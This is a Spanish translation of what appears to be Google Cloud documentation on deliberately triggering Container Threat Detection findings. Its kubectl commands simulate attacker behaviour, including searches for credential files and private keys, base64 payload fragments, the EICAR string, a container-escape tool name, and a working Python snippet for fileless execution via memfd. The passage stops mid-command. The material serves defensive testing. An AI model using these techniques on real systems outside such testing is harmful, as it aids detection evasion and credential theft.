Se usó la API de Cloud Translation para traducir esta página.

Probar la detección de amenazas de contenedores

En esta página, se explica cómo verificar que Container Threat Detection funcione. Para ello, activa de forma intencional los detectores y verifica de los resultados. Container Threat Detection es un servicio integrado de los niveles Premium y Enterprise de Security Command Center. Para ver los resultados de Container Threat Detection, debe estar habilitada en la configuración de Servicios del Security Command Center.

Antes de comenzar

Para detectar amenazas potenciales a tus contenedores, debes asegurarte de que tus clústeres estén en una versión compatible de Google Kubernetes Engine (GKE). Para obtener más información, consulta Usa una versión de GKE compatible.

Habilita los detectores

Los siguientes detectores están inhabilitados de forma predeterminada:

Added Binary Executed
Added Library Loaded
Credential Access: Find Google Cloud Credentials
Defense Evasion: Launch Code Compiler Tool In Container
Execution: Program Run with Disallowed HTTP Proxy Env
Exfiltration: Launch Remote File Copy Tools in Container

Para probar esos detectores, debes habilitarlos de forma explícita:

Verifica el estado del detector:

export PROJECT=PROJECT_ID
gcloud alpha scc settings services describe \
    --service=CONTAINER_THREAT_DETECTION \
    --project=${PROJECT}

Habilita el detector Added Binary Executed:

gcloud alpha scc settings services modules enable \
    --service=CONTAINER_THREAT_DETECTION \
    --module=ADDED_BINARY_EXECUTED \
    --project=${PROJECT}

Habilita el detector Added Library Loaded:

gcloud alpha scc settings services modules enable \
    --service=CONTAINER_THREAT_DETECTION \
    --module=ADDED_LIBRARY_LOADED \
    --project=${PROJECT}

Habilita el detector Credential Access: Find Google Cloud Credentials:

gcloud alpha scc settings services modules enable \
    --service=CONTAINER_THREAT_DETECTION \
    --module=FIND_GCP_CREDENTIALS \
    --project=${PROJECT}

Habilita el detector Execution: Program Run with Disallowed HTTP Proxy Env:

gcloud alpha scc settings services modules enable \
    --service=CONTAINER_THREAT_DETECTION \
    --module=PROGRAM_RUN_WITH_DISALLOWED_HTTP_PROXY_ENV \
    --project=${PROJECT}

Habilita el detector Exfiltration: Launch Remote File Copy Tools in Container:

gcloud alpha scc settings services modules enable \
    --service=CONTAINER_THREAT_DETECTION \
    --module=LAUNCH_REMOTE_FILE_COPY_TOOLS_IN_CONTAINER \
    --project=${PROJECT}

Habilita el detector Defense Evasion: Launch Code Compiler Tool In Container:

gcloud alpha scc settings services modules enable \
    --service=CONTAINER_THREAT_DETECTION \
    --module=LAUNCH_CODE_COMPILER_TOOL_IN_CONTAINER \
    --project=${PROJECT}

Configure las variables de entorno

Para probar los detectores, usa la Google Cloud consola y Cloud Shell. Puedes establecer variables de entorno en Cloud Shell para facilitar la ejecución de los comandos. Las siguientes variables se usan para probar todos los detectores de la detección de amenazas a contenedores.

Ve a la consola deGoogle Cloud .

Ir a la consola de Google Cloud
Selecciona el proyecto que contiene el contenedor que deseas usar para probar.
Haz clic en Activate Cloud Shell (Activar Cloud Shell).
En Cloud Shell, configura las variables de entorno:
1. La zona en la que se encuentra tu clúster:
```
export ZONE=CLUSTER_ZONE
```
2. El proyecto en el que se encuentra tu contenedor:
```
export PROJECT=PROJECT_ID
```
3. El nombre del clúster:
```
export CLUSTER_NAME=CLUSTER_NAME
```

Se establecen las variables. En las siguientes secciones, se incluyen instrucciones para probar los detectores de amenazas de contenedores.

Se ejecutó el objeto binario agregado

Para activar un resultado binario agregado, descarta un objeto binario en tu contenedor y ejecútalo. En este ejemplo, se implementa la última imagen de Ubuntu 24.04, se copia /bin/ls a otra ubicación y, luego, se ejecuta. La ejecución del objeto binario es inesperada porque la copia del objeto binario no era parte de la imagen del contenedor original, incluso cuando esa imagen está en Ubuntu 24.04, y los contenedores están destinados a ser inmutables.

Configura las variables de entorno.

Usa Cloud Shell para acceder al plano de control del clúster:

gcloud container clusters get-credentials $CLUSTER_NAME \
    --zone $ZONE \
    --project $PROJECT

Suelta un objeto binario y ejecútalo:

Nodo x86:

tag="ktd-test-binary-$(date -u +%Y-%m-%d-%H-%M-%S-utc)"
kubectl run \
    --restart=Never \
    --rm=true -i \
    --image marketplace.gcr.io/google/ubuntu2404:latest \
    "$tag" -- sh -c "cp /bin/ls /tmp/$tag; /tmp/$tag"

Nodo de ARM:

tag="ktd-test-binary-$(date -u +%Y-%m-%d-%H-%M-%S-utc)"
kubectl run \
    --restart=Never \
    --rm=true -i \
    --image marketplace.gcr.io/google/ubuntu2404:latest \
    --overrides='{"apiVersion": "v1", "spec": { "nodeSelector":
    {"kubernetes.io/arch":"arm64"}, "tolerations":[ { "effect":
    "NoSchedule", "key": "kubernetes.io/arch", "operator": "Equal",
    "value": "arm64" } ]}}' \
    "$tag" -- sh -c "cp /bin/ls /tmp/$tag; /tmp/$tag"

En este procedimiento de prueba, se debería crear un hallazgo ejecutado de objeto binario agregado que se puede ver en Security Command Center, y en Cloud Logging si configuraste Logging para Container Threat Detection. La visualización de hallazgos en Cloud Logging solo está disponible si activas el nivel Premium o Enterprise de Security Command Center.

Para reducir el ruido, cuando creas un contenedor por primera vez, Container Threat Detection filtra temporalmente los resultados de Added Binary Executed. Para ver todos los hallazgos de Added Binary Executed mientras se configura un contenedor, antepone ktd-test al nombre del contenedor o del pod, como en el ejemplo.

Se cargó la biblioteca agregada

Para activar un resultado de carga de la biblioteca agregada, descarta una biblioteca en tu contenedor y, luego, cárgala. En este ejemplo, se implementa la última imagen de Ubuntu 24.04, se copia /lib/x86_64-linux-gnu/libc.so.6 a otra ubicación y, luego, se carga con ld. La biblioteca cargada es inesperada porque la copia de la biblioteca no formaba parte de la imagen del contenedor original, incluso si esa imagen está en Ubuntu 24.04, y los contenedores están destinados a ser inmutables.

Configura las variables de entorno.

Usa Cloud Shell para acceder al plano de control del clúster:

gcloud container clusters get-credentials $CLUSTER_NAME \
    --zone $ZONE \
    --project $PROJECT

Descarta una biblioteca y usa ld para cargarla:

Nodo x86:

tag="ktd-test-library-$(date -u +%Y-%m-%d-%H-%M-%S-utc)"
kubectl run \
   --restart=Never \
   --rm=true -i \
   --image marketplace.gcr.io/google/ubuntu2404:latest \
   "$tag" -- sh -c \
      "cp /lib/x86_64-linux-gnu/libc.so.6 /tmp/$tag; /lib64/ld-linux-x86-64.so.2 /tmp/$tag"

Nodo de ARM:

tag="ktd-test-library-$(date -u +%Y-%m-%d-%H-%M-%S-utc)"
kubectl run \
   --restart=Never \
   --rm=true -i \
   --image marketplace.gcr.io/google/ubuntu2404:latest \
   --overrides='{"apiVersion": "v1", "spec": { "nodeSelector":
   {"kubernetes.io/arch":"arm64"}, "tolerations":[ { "effect":
   "NoSchedule", "key": "kubernetes.io/arch", "operator": "Equal",
   "value": "arm64" } ]}}' \
   "$tag" -- sh -c \
      "cp /lib/aarch64-linux-gnu/libc.so.6 /tmp/$tag; /lib/ld-linux-aarch64.so.1 /tmp/$tag"

En este procedimiento de prueba, se debería crear una biblioteca agregada cargada que puedes ver en Security Command Center y en Cloud Logging si configuraste Logging para Container Threat Detection. La visualización de hallazgos en Cloud Logging solo está disponible si activas el nivel Premium o Enterprise de Security Command Center a nivel de la organización.

Para reducir el ruido, cuando creas un contenedor por primera vez, Container Threat Detection filtra temporalmente los resultados de carga de biblioteca agregada. Para ver todos los resultados de carga de la biblioteca agregada mientras se configura un contenedor, antepone ktd-test al nombre del contenedor o del pod, como en el ejemplo.

Comando y control: Se detectó una herramienta de esteganografía

Para activar un resultado de Command and Control: Steganography Tool Detected (versión preliminar), se debe ejecutar un objeto binario con capacidades de manipulación de archivos coherentes con las herramientas de esteganografía dentro de un contenedor. En este ejemplo, se usa la imagen más reciente de Ubuntu 24.04. Copia /bin/ls y le cambia el nombre a steghide (o a otra herramienta de esteganografía, como stegano). Este comportamiento se marca como sospechoso porque puede indicar un intento de preparar un contenedor para ocultar o extraer datos, posiblemente con fines maliciosos.

Configura las variables de entorno.

Usa Cloud Shell para acceder al plano de control del clúster:

gcloud container clusters get-credentials $CLUSTER_NAME \
    --zone $ZONE \
    --project $PROJECT

Ejecuta un objeto binario de herramienta de esteganografía, como steghide:

Nodo x86:

tag="ktd-test-steganography-tool-$(date -u +%Y-%m-%d-%H-%M-%S-utc)"
kubectl run \
   --restart=Never \
   --rm=true -i \
   --image marketplace.gcr.io/google/ubuntu2404:latest \
   "$tag" -- bash -c \
      "cp /bin/ls /tmp/steghide; /tmp/steghide"

Nodo de ARM:

tag="ktd-test-steganography-tool-$(date -u +%Y-%m-%d-%H-%M-%S-utc)"
kubectl run \
   --restart=Never \
   --rm=true -i \
   --image marketplace.gcr.io/google/ubuntu2404:latest \
   --overrides='{"apiVersion": "v1", "spec": { "nodeSelector":
   {"kubernetes.io/arch":"arm64"}, "tolerations":[ { "effect":
   "NoSchedule", "key": "kubernetes.io/arch", "operator": "Equal",
   "value": "arm64" } ]}}' \
   "$tag" -- bash -c \
      "cp /bin/ls /tmp/steghide; /tmp/steghide"

Este procedimiento de prueba crea un hallazgo de Command and Control: Steganography Tool Detected que puedes ver en Security Command Center y en Cloud Logging si configuraste Logging para Container Threat Detection. Solo puedes ver los hallazgos en Cloud Logging si activas el nivel Premium o Enterprise de Security Command Center.

Acceso a credenciales: Buscar Google Cloud credenciales

Para activar un resultado de Credential Access: Find Google Cloud Credentials, se debe ejecutar un archivo binario capaz de buscar el contenido de los archivos dentro de un contenedor. En este ejemplo, se usa la imagen más reciente de Ubuntu 24.04. Copia /bin/ls y le cambia el nombre a grep. Luego, se ejecuta el archivo binario renombrado con argumentos que especifican un patrón de búsqueda indicativo de una forma de credenciales de Google Cloud . Esta acción se marcó como sospechosa porque imita el comportamiento que se observa cuando se intentan ubicar credenciales de Google Cloud .

Configura las variables de entorno.

Usa Cloud Shell para acceder al plano de control del clúster:

gcloud container clusters get-credentials $CLUSTER_NAME \
    --zone $ZONE \
    --project $PROJECT

Ejecuta un archivo binario de la herramienta de búsqueda, como find, con los argumentos adecuados:

Nodo x86:

tag="ktd-test-find-gcp-credentials-$(date -u +%Y-%m-%d-%H-%M-%S-utc)"
kubectl run \
   --restart=Never \
   --rm=true -i \
   --image marketplace.gcr.io/google/ubuntu2404:latest \
   "$tag" -- bash -c \
      "cp /bin/ls /tmp/grep; /tmp/grep GOOGLE_APPLICATION_CREDENTIALS"

Nodo de ARM:

tag="ktd-test-find-gcp-credentials-$(date -u +%Y-%m-%d-%H-%M-%S-utc)"
kubectl run \
   --restart=Never \
   --rm=true -i \
   --image marketplace.gcr.io/google/ubuntu2404:latest \
   --overrides='{"apiVersion": "v1", "spec": { "nodeSelector":
   {"kubernetes.io/arch":"arm64"}, "tolerations":[ { "effect":
   "NoSchedule", "key": "kubernetes.io/arch", "operator": "Equal",
   "value": "arm64" } ]}}' \
   "$tag" -- bash -c \
      "cp /bin/ls /tmp/grep; /tmp/grep GOOGLE_APPLICATION_CREDENTIALS"

Este procedimiento de prueba debería crear un hallazgo de Credential Access: Find Google Cloud Credentials que puedes ver en Security Command Center y en Cloud Logging si configuraste Logging para Container Threat Detection. La visualización de los resultados en Cloud Logging solo está disponible si activas el nivel Premium o Enterprise de Security Command Center.

Acceso a credenciales: Reconocimiento de claves GPG

Para activar un hallazgo de Credential Access: GPG Key Reconnaissance, se debe ejecutar un archivo binario capaz de buscar el contenido de los archivos dentro de un contenedor. En este ejemplo, se usa la imagen más reciente de Ubuntu 24.04. Copia /bin/ls y le cambia el nombre a find (o a otra utilidad de búsqueda adecuada, como grep). Luego, se ejecuta el archivo binario renombrado con argumentos que especifican un patrón de búsqueda indicativo de claves privadas o contraseñas, o patrones de contenido que sugieren contraseñas o secretos. Esta acción se marca como sospechosa porque imita el comportamiento que se observa cuando se intenta ubicar llaves de seguridad GPG.

Configura las variables de entorno.

Usa Cloud Shell para acceder al plano de control del clúster:

gcloud container clusters get-credentials $CLUSTER_NAME \
    --zone $ZONE \
    --project $PROJECT

Ejecuta un archivo binario de la herramienta de búsqueda, como find, con los argumentos adecuados:

Nodo x86:

tag="ktd-test-gpg-key-reconnaissance-$(date -u +%Y-%m-%d-%H-%M-%S-utc)"
kubectl run \
   --restart=Never \
   --rm=true -i \
   --image marketplace.gcr.io/google/ubuntu2404:latest \
   "$tag" -- bash -c \
      "cp /bin/ls /tmp/find; /tmp/find secring"

Nodo de ARM:

tag="ktd-test-gpg-key-reconnaissance-$(date -u +%Y-%m-%d-%H-%M-%S-utc)"
kubectl run \
   --restart=Never \
   --rm=true -i \
   --image marketplace.gcr.io/google/ubuntu2404:latest \
   --overrides='{"apiVersion": "v1", "spec": { "nodeSelector":
   {"kubernetes.io/arch":"arm64"}, "tolerations":[ { "effect":
   "NoSchedule", "key": "kubernetes.io/arch", "operator": "Equal",
   "value": "arm64" } ]}}' \
   "$tag" -- bash -c \
      "cp /bin/ls /tmp/find; /tmp/find secring"

Este procedimiento de prueba debería crear un hallazgo de Credential Access: GPG Key Reconnaissance que puedes ver en Security Command Center y en Cloud Logging si configuraste Logging para Container Threat Detection. Solo puedes ver los hallazgos en Cloud Logging si activas el nivel Premium o Enterprise de Security Command Center.

Acceso a las credenciales: Buscar claves privadas o contraseñas

Para activar un hallazgo de Credential Access: Search Private Keys or Passwords, se debe ejecutar un archivo binario capaz de buscar el contenido de los archivos dentro de un contenedor. En este ejemplo, se usa la imagen más reciente de Ubuntu 24.04. Copia /bin/ls y le cambia el nombre a find (o a otra utilidad de búsqueda adecuada, como grep). Luego, se ejecuta el archivo binario renombrado con argumentos que especifican un patrón de búsqueda indicativo de claves privadas o contraseñas, o patrones de contenido que sugieren contraseñas o secretos. Esta acción se marca como sospechosa porque imita el comportamiento que se observa cuando se intenta ubicar información sensible, como claves privadas o contraseñas, dentro de un entorno de contenedores.

Configura las variables de entorno.

Usa Cloud Shell para acceder al plano de control del clúster:

gcloud container clusters get-credentials $CLUSTER_NAME \
    --zone $ZONE \
    --project $PROJECT

Ejecuta un archivo binario de la herramienta de búsqueda, como find, con los argumentos adecuados:

Nodo x86:

tag="ktd-test-search-private-keys-or-passwords-$(date -u +%Y-%m-%d-%H-%M-%S-utc)"
kubectl run \
   --restart=Never \
   --rm=true -i \
   --image marketplace.gcr.io/google/ubuntu2404:latest \
   "$tag" -- bash -c \
      "cp /bin/ls /tmp/find; /tmp/find id_rsa"

Nodo de ARM:

tag="ktd-test-search-private-keys-or-passwords-$(date -u +%Y-%m-%d-%H-%M-%S-utc)"
kubectl run \
   --restart=Never \
   --rm=true -i \
   --image marketplace.gcr.io/google/ubuntu2404:latest \
   --overrides='{"apiVersion": "v1", "spec": { "nodeSelector":
   {"kubernetes.io/arch":"arm64"}, "tolerations":[ { "effect":
   "NoSchedule", "key": "kubernetes.io/arch", "operator": "Equal",
   "value": "arm64" } ]}}' \
   "$tag" -- bash -c \
      "cp /bin/ls /tmp/find; /tmp/find id_rsa"

Este procedimiento de prueba debería crear un hallazgo de Credential Access: Search Private Keys or Passwords que puedes ver en Security Command Center y en Cloud Logging si configuraste Logging para Container Threat Detection. Solo puedes ver los hallazgos en Cloud Logging si activas el nivel Premium o Enterprise de Security Command Center.

Evasión de defensa: Líneas de comandos de archivos ELF en Base64

Para activar un hallazgo de Defense Evasion: Base64 ELF File Command Line, un proceso debe tener base64 como argumento y f0VMRgIB como argumento, que es la forma codificada en base64 de ELF. En este ejemplo, se usa la imagen de Ubuntu 24.04 más reciente. Luego, se ejecuta base64 con los argumentos -d y f0VMRgIB. Esta acción se marca como sospechosa porque imita el comportamiento observado cuando se intenta decodificar datos binarios para ejecutar código malicioso.

Configura las variables de entorno.

Usa Cloud Shell para acceder al plano de control del clúster:

gcloud container clusters get-credentials $CLUSTER_NAME \
    --zone $ZONE \
    --project $PROJECT

Ejecuta un archivo binario de la herramienta de búsqueda, como find, con los argumentos adecuados:

Nodo x86:

tag="ktd-test-base64-elf-file-$(date -u +%Y-%m-%d-%H-%M-%S-utc)"
kubectl run \
   --restart=Never \
   --rm=true -i \
   --image marketplace.gcr.io/google/ubuntu2404:latest \
   "$tag" -- bash -c \
      "base64 -d f0VMRgIB"

Nodo de ARM:

tag="ktd-test-base64-elf-file-$(date -u +%Y-%m-%d-%H-%M-%S-utc)"
kubectl run \
   --restart=Never \
   --rm=true -i \
   --image marketplace.gcr.io/google/ubuntu2404:latest \
   --overrides='{"apiVersion": "v1", "spec": { "nodeSelector":
   {"kubernetes.io/arch":"arm64"}, "tolerations":[ { "effect":
   "NoSchedule", "key": "kubernetes.io/arch", "operator": "Equal",
   "value": "arm64" } ]}}' \
   "$tag" -- bash -c \
      "base64 -d f0VMRgIB"

En este procedimiento de prueba, se deberían crear dos hallazgos de Defense Evasion: Base64 ELF File Command Line que puedes ver en Security Command Center y en Cloud Logging si configuraste Logging para Container Threat Detection. Solo puedes ver los hallazgos en Cloud Logging si activas el nivel Premium o Enterprise de Security Command Center. Se crean dos hallazgos porque el comando bash -c inicial y la ejecución del comando base64 -d satisfacen los criterios de hallazgo.

Evasión de defensa: Se ejecutó la secuencia de comandos de Python codificada en Base64

Para activar un hallazgo de Defense Evasion: Base64 Encoded Python Script Executed, un proceso debe tener echo o base64 como argumento y aW1wb3J0IH como argumento, que es la forma codificada en base64 de python -c. En este ejemplo, se usa la imagen de Ubuntu 24.04 más reciente. Luego, se ejecuta echo con el argumento aW1wb3J0IH. Esta acción se marca como sospechosa porque imita el comportamiento observado cuando se intenta decodificar datos binarios para ejecutar código malicioso.

Configura las variables de entorno.

Usa Cloud Shell para acceder al plano de control del clúster:

gcloud container clusters get-credentials $CLUSTER_NAME \
    --zone $ZONE \
    --project $PROJECT

Ejecuta un archivo binario de la herramienta de búsqueda, como find, con los argumentos adecuados:

Nodo x86:

tag="ktd-test-base64-elf-file-$(date -u +%Y-%m-%d-%H-%M-%S-utc)"
kubectl run \
   --restart=Never \
   --rm=true -i \
   --image marketplace.gcr.io/google/ubuntu2404:latest \
   "$tag" -- bash -c \
      "echo aW1wb3J0IH"

Nodo de ARM:

tag="ktd-test-base64-elf-file-$(date -u +%Y-%m-%d-%H-%M-%S-utc)"
kubectl run \
   --restart=Never \
   --rm=true -i \
   --image marketplace.gcr.io/google/ubuntu2404:latest \
   --overrides='{"apiVersion": "v1", "spec": { "nodeSelector":
   {"kubernetes.io/arch":"arm64"}, "tolerations":[ { "effect":
   "NoSchedule", "key": "kubernetes.io/arch", "operator": "Equal",
   "value": "arm64" } ]}}' \
   "$tag" -- bash -c \
      "echo aW1wb3J0IH"

Este procedimiento de prueba debería crear un hallazgo de Defense Evasion: Base64 Encoded Python Script Executed que puedes ver en Security Command Center y en Cloud Logging si configuraste Logging para Container Threat Detection. Solo puedes ver los hallazgos en Cloud Logging si activas el nivel Premium o Enterprise de Security Command Center.

Evasión de defensa: Se ejecutó la secuencia de comandos de shell codificada en Base64

Para activar un hallazgo de Defense Evasion: Base64 Encoded Shell Script Executed, un proceso debe tener echo o base64 como argumento y IyEvYmluL2Jhc2gK como argumento, que es la forma codificada en base64 de #!/bin/bash. En este ejemplo, se usa la imagen de Ubuntu 24.04 más reciente. Luego, se ejecuta echo con el argumento IyEvYmluL2Jhc2gK. Esta acción se marca como sospechosa porque imita el comportamiento observado cuando se intenta decodificar datos binarios para ejecutar código malicioso.

Configura las variables de entorno.

Usa Cloud Shell para acceder al plano de control del clúster:

gcloud container clusters get-credentials $CLUSTER_NAME \
    --zone $ZONE \
    --project $PROJECT

Ejecuta un archivo binario de la herramienta de búsqueda, como find, con los argumentos adecuados:

Nodo x86:

tag="ktd-test-base64-elf-file-$(date -u +%Y-%m-%d-%H-%M-%S-utc)"
kubectl run \
   --restart=Never \
   --rm=true -i \
   --image marketplace.gcr.io/google/ubuntu2404:latest \
   "$tag" -- bash -c \
      "echo IyEvYmluL2Jhc2gK"

Nodo de ARM:

tag="ktd-test-base64-elf-file-$(date -u +%Y-%m-%d-%H-%M-%S-utc)"
kubectl run \
   --restart=Never \
   --rm=true -i \
   --image marketplace.gcr.io/google/ubuntu2404:latest \
   --overrides='{"apiVersion": "v1", "spec": { "nodeSelector":
   {"kubernetes.io/arch":"arm64"}, "tolerations":[ { "effect":
   "NoSchedule", "key": "kubernetes.io/arch", "operator": "Equal",
   "value": "arm64" } ]}}' \
   "$tag" -- bash -c \
      "echo IyEvYmluL2Jhc2gK"

Este procedimiento de prueba debería crear un hallazgo de Defense Evasion: Base64 Encoded Shell Script Executed que puedes ver en Security Command Center y en Cloud Logging si configuraste Logging para Container Threat Detection. Solo puedes ver los hallazgos en Cloud Logging si activas el nivel Premium o Enterprise de Security Command Center.

Evasión de defensa: Inicia la herramienta de compilador de código en el contenedor

Para activar un resultado de Defense Evasion: Launch Code Compiler Tool In Container (Vista previa), se debe ejecutar una herramienta de compilador de código dentro de un contenedor. En este ejemplo, se usa la imagen más reciente de Ubuntu 24.04. Copia /bin/ls y le cambia el nombre a gcc10 (o a otro compilador, como clang). Este comportamiento se marca como sospechoso porque puede indicar un intento de compilar y ejecutar código malicioso dentro del contenedor para evadir la detección o modificar su comportamiento.

Configura las variables de entorno.

Usa Cloud Shell para acceder al plano de control del clúster:

gcloud container clusters get-credentials $CLUSTER_NAME \
    --zone $ZONE \
    --project $PROJECT

Ejecuta un archivo binario del compilador, como gcc10, con los argumentos adecuados:

Nodo x86:

tag="ktd-test-launch-code-compiler-$(date -u +%Y-%m-%d-%H-%M-%S-utc)"
kubectl run \
   --restart=Never \
   --rm=true -i \
   --image marketplace.gcr.io/google/ubuntu2404:latest \
   "$tag" -- bash -c \
      "cp /bin/ls /tmp/gcc10; /tmp/gcc10 -o /tmp/gcc10.o"

Nodo de ARM:

tag="ktd-test-launch-code-compiler-$(date -u +%Y-%m-%d-%H-%M-%S-utc)"
kubectl run \
   --restart=Never \
   --rm=true -i \
   --image marketplace.gcr.io/google/ubuntu2404:latest \
   --overrides='{"apiVersion": "v1", "spec": { "nodeSelector":
   {"kubernetes.io/arch":"arm64"}, "tolerations":[ { "effect":
   "NoSchedule", "key": "kubernetes.io/arch", "operator": "Equal",
   "value": "arm64" } ]}}' \
   "$tag" -- bash -c \
      "cp /bin/ls /tmp/gcc10; /tmp/gcc10 -o /tmp/gcc10.o"

Este procedimiento de prueba crea un hallazgo de Defense Evasion: Launch Code Compiler Tool In Container que puedes ver en Security Command Center y en Cloud Logging si configuraste Logging para Container Threat Detection. Solo puedes ver los hallazgos en Cloud Logging si activas el nivel Premium o Enterprise de Security Command Center.

Ejecución: Se ejecutó el objeto binario malicioso agregado

Para activar un resultado de Ejecución: Se ejecutó el objeto binario malicioso agregado, descarta un objeto binario malicioso en tu contenedor y ejecútalo. En este ejemplo, se implementa la imagen más reciente de Ubuntu 24.04, se crea un archivo simulado malicioso y, luego, se lo ejecuta. La ejecución del objeto binario es inesperada porque el objeto binario malicioso simulado no formaba parte de la imagen del contenedor original, y el objeto binario es un archivo de prueba EICAR, un archivo clasificado como malicioso por la inteligencia sobre amenazas.

Configura las variables de entorno.

Usa Cloud Shell para acceder al plano de control del clúster:

gcloud container clusters get-credentials $CLUSTER_NAME \
    --zone $ZONE \
    --project $PROJECT

Suelta el objeto binario de EICAR y ejecútalo:

Nodo x86:

tag="ktd-test-added-malicious-binary-$(date -u +%Y-%m-%d-%H-%M-%S-utc)"
eicar='X5O!P%@AP[4\PZX54(P^)7CC)7}$EICAR-STANDARD-ANTIVIRUS-TEST-FILE!$H+H*'
kubectl run \
   --restart=Never \
   --rm=true -i \
   --image marketplace.gcr.io/google/ubuntu2404:latest \
   "$tag" -- sh -c \
      "touch /tmp/test_mal_file; echo -n '$eicar' > /tmp/test_mal_file; chmod 700 /tmp/test_mal_file; /tmp/test_mal_file; sleep 10"

Nodo de ARM:

tag="ktd-test-added-malicious-binary-$(date -u +%Y-%m-%d-%H-%M-%S-utc)"
eicar='X5O!P%@AP[4\PZX54(P^)7CC)7}$EICAR-STANDARD-ANTIVIRUS-TEST-FILE!$H+H*'
kubectl run \
   --restart=Never \
   --rm=true -i \
   --image marketplace.gcr.io/google/ubuntu2404:latest \
   --overrides='{"apiVersion": "v1", "spec": { "nodeSelector":
   {"kubernetes.io/arch":"arm64"}, "tolerations":[ { "effect":
   "NoSchedule", "key": "kubernetes.io/arch", "operator": "Equal",
   "value": "arm64" } ]}}' \
   "$tag" -- sh -c \
      "touch /tmp/test_mal_file; echo -n '$eicar' > /tmp/test_mal_file; chmod 700 /tmp/test_mal_file; /tmp/test_mal_file; sleep 10"

En este procedimiento de prueba, se debería crear un hallazgo de Ejecución: Se ejecutó un objeto binario malicioso agregado que puedes ver en Security Command Center y en Cloud Logging si configuraste Logging para Container Threat Detection. La visualización de resultados en Cloud Logging solo está disponible si activas el nivel Premium o Enterprise de Security Command Center.

Para reducir el ruido, cuando creas un contenedor por primera vez, Container Threat Detection filtra temporalmente los resultados de Execution: Added Malicious Binary Executed. Para ver todos los resultados de Execution: Added Malicious Binary Executed mientras se configura un contenedor, agrega el prefijo ktd-test al nombre del contenedor o del Pod, como en el ejemplo.

Ejecución: Escape del contenedor

Para activar un resultado de Ejecución: Escape de contenedor, coloca un objeto binario en tu contenedor y ejecútalo. En este ejemplo, se implementa la última imagen de Ubuntu 24.04, se copia /bin/ls a otra ubicación, se le cambia el nombre a una herramienta sospechosa (botb-linux-amd64) y se ejecuta con argumentos adicionales. Esta acción se considera sospechosa porque esta ejecución simula un comportamiento coherente con un intento de escape del contenedor.

Configura las variables de entorno.

Usa Cloud Shell para acceder al plano de control del clúster:

gcloud container clusters get-credentials $CLUSTER_NAME \
    --zone $ZONE \
    --project $PROJECT

Suelta un objeto binario de la herramienta de explotación de contenedores, como botb-linux-amd64, y ejecútalo:

Nodo x86:

tag="ktd-test-container-escape-$(date -u +%Y-%m-%d-%H-%M-%S-utc)"
kubectl run \
   --restart=Never \
   --rm=true -i \
   --image marketplace.gcr.io/google/ubuntu2404:latest \
   "$tag" -- bash -c \
      "cp /bin/ls /tmp/botb-linux-amd64; /tmp/botb-linux-amd64 -autopwn"

Nodo de ARM:

tag="ktd-test-container-escape-$(date -u +%Y-%m-%d-%H-%M-%S-utc)"
kubectl run \
   --restart=Never \
   --rm=true -i \
   --image marketplace.gcr.io/google/ubuntu2404:latest \
   --overrides='{"apiVersion": "v1", "spec": { "nodeSelector":
   {"kubernetes.io/arch":"arm64"}, "tolerations":[ { "effect":
   "NoSchedule", "key": "kubernetes.io/arch", "operator": "Equal",
   "value": "arm64" } ]}}' \
   "$tag" -- bash -c \
      "cp /bin/ls /tmp/botb-linux-arm64; /tmp/botb-linux-arm64 -autopwn"

Este procedimiento de prueba debería crear un hallazgo de Ejecución: Escape de contenedor que puedes ver en Security Command Center y en Cloud Logging si configuraste Logging para la detección de amenazas a contenedores. La visualización de hallazgos en Cloud Logging solo está disponible si activas el nivel Premium o Enterprise de Security Command Center.

Ejecución: Ejecución sin archivos en `/memfd:`

Para activar un hallazgo de Execution: Fileless Execution in /memfd:, se debe ejecutar un proceso desde el sistema de archivos en la memoria /memfd:. En este ejemplo, se usa la imagen más reciente de Ubuntu 24.04. La utilidad /bin/ls se copia en un archivo anónimo en /memfd:. Luego, se ejecuta este objeto binario copiado. La ejecución de un objeto binario en /memfd: se marca como sospechosa porque imita el comportamiento de un objeto que intenta ejecutarse en la memoria para evitar las detecciones basadas en archivos.

Configura las variables de entorno.

Usa Cloud Shell para acceder al plano de control del clúster:

gcloud container clusters get-credentials $CLUSTER_NAME \
    --zone $ZONE \
    --project $PROJECT

Crea un contenedor con privilegios y abre bash para ejecutar comandos:

Nodo x86:

tag="ktd-test-malicious-python-$(date -u +%Y-%m-%d-%H-%M-%S-utc)"
kubectl run \
   --restart=Never \
   --rm=true  -i \
   --image marketplace.gcr.io/google/python:latest \
   "$tag" -- python -c "import os,sys,time

time.sleep(10)
f = open("/bin/ls",'rb')
execdata = f.read()
f.close()
fd = os.memfd_create("", 0)
fname = "/proc/self/fd/{}".format(fd)
f = open(fname,'wb')
f.write(execdata)
f.close()
args = ["/bin"]
os.execve(fname, args, os.environ)"

Nodo de ARM:

tag="ktd-test-malicious-python-$(date -u +%Y-%m-%d-%H-%M-%S-utc)"
kubectl run \
   --restart=Never \
   --rm=true  -i \
   --image python:3-buster \
   --overrides='{"apiVersion": "v1", "spec": { "nodeSelector":
   {"kubernetes.io/arch":"arm64"}, "tolerations":[ { "effect":
   "NoSchedule", "key": "kubernetes.io/arch", "operator": "Equal",
   "value": "arm64" } ]}}' \
   "$tag" -- python -c "import os,sys,time

time.sleep(10)
f = open("/bin/ls",'rb')
execdata = f.read()
f.close()
fd = os.memfd_create("", 0)
fname = "/proc/self/fd/{}".format(fd)
f = open(fname,'wb')
f.write(execdata)
f.close()
args = ["/bin"]
os.execve(fname, args, os.environ)"

Este procedimiento de prueba debería crear un hallazgo de Execution: Fileless Execution in /memfd: que puedes ver en Security Command Center y en Cloud Logging si configuraste Logging para Container Threat Detection. Solo puedes ver los hallazgos en Cloud Logging si activas el nivel Premium o Enterprise de Security Command Center.

Ejecución: Ejecución de la vulnerabilidad de Ingress Nightmare

Para activar el resultado Ejecución: Ejecución de vulnerabilidad de Ingress Nightmare (Vista previa), ejecuta el objeto binario de nginx en tu contenedor. En este ejemplo, se implementa la última imagen de Ubuntu 24.04, se copia /bin/ls a otra ubicación, se cambia su nombre a un archivo binario de Nginx (nginx) y se ejecuta con argumentos adicionales que hacen referencia al sistema de archivos /proc. Esta acción se considera sospechosa porque simula un comportamiento coherente con el exploit Ingress Nightmare (CVE-2025-1974), lo que indica una posible ejecución de código remoto.

Configura las variables de entorno.

Usa Cloud Shell para acceder al plano de control del clúster:

gcloud container clusters get-credentials $CLUSTER_NAME \
    --zone $ZONE \
    --project $PROJECT

Crea un objeto binario de Nginx como nginx y ejecútalo mientras accedes al sistema de archivos /proc:

Nodo x86:

tag="ktd-test-ingress-nightmare-$(date -u +%Y-%m-%d-%H-%M-%S-utc)"
kubectl run \
   --restart=Never \
   --rm=true -i \
   --image marketplace.gcr.io/google/ubuntu2404:latest \
